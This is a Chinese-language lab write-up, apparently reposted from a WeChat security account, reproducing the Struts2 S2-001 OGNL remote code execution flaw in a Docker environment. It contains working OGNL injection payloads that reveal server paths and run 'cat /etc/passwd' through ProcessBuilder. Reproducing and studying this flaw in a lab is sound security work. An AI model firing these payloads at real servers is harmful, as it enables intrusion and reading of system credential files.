S2-001远程代码执行漏洞

admin 2023年12月25日22:47:20评论9 views字数 1697阅读5分39秒阅读模式

漏洞简介

漏洞在于,当用户提交表单数据并且验证失败时,服务器使用OGNL表达式%{value}解析用户先前提交的参数值,并重新填充相应的表单数据。例如,在注册或登录页面。当提交失败时,服务器通常默认返回之前提交的数据。由于服务器使用%{value}对提交的数据执行OGNL表达式解析,因此它可以直接向执行命令发送有效负载。

影响版本

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞复现

docker-compose up -d

环境搭建好后,访问http://your-ip:8080

S2-001远程代码执行漏洞

测试一下是否含有漏洞,在测试框中输入%{4+5}、%{9+2}是否能够执行成功

S2-001远程代码执行漏洞

提交%{4+5}、%{9+2}时服务器使用OGNL表达式%{value}对%{4+5}、%{9+2}解析,如果返回数值,则说明漏洞存在

两个执行框皆都执行成功,说明漏洞存

S2-001远程代码执行漏洞

首先我们先获取Tomact的执行路径,看是否可以获取成功

执行框内执行:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

S2-001远程代码执行漏洞

得到Tomact路径:tomcatBinDir{/usr/local/tomcat}

紧接着试一下获取web路径

输入框内执行:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

S2-001远程代码执行漏洞

执行以下漏洞POC,尝试任意命令执行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

S2-001远程代码执行漏洞

S2-001远程代码执行漏洞

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):S2-001远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日22:47:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   S2-001远程代码执行漏洞http://cn-sec.com/archives/2237711.html

发表评论

匿名网友 填写信息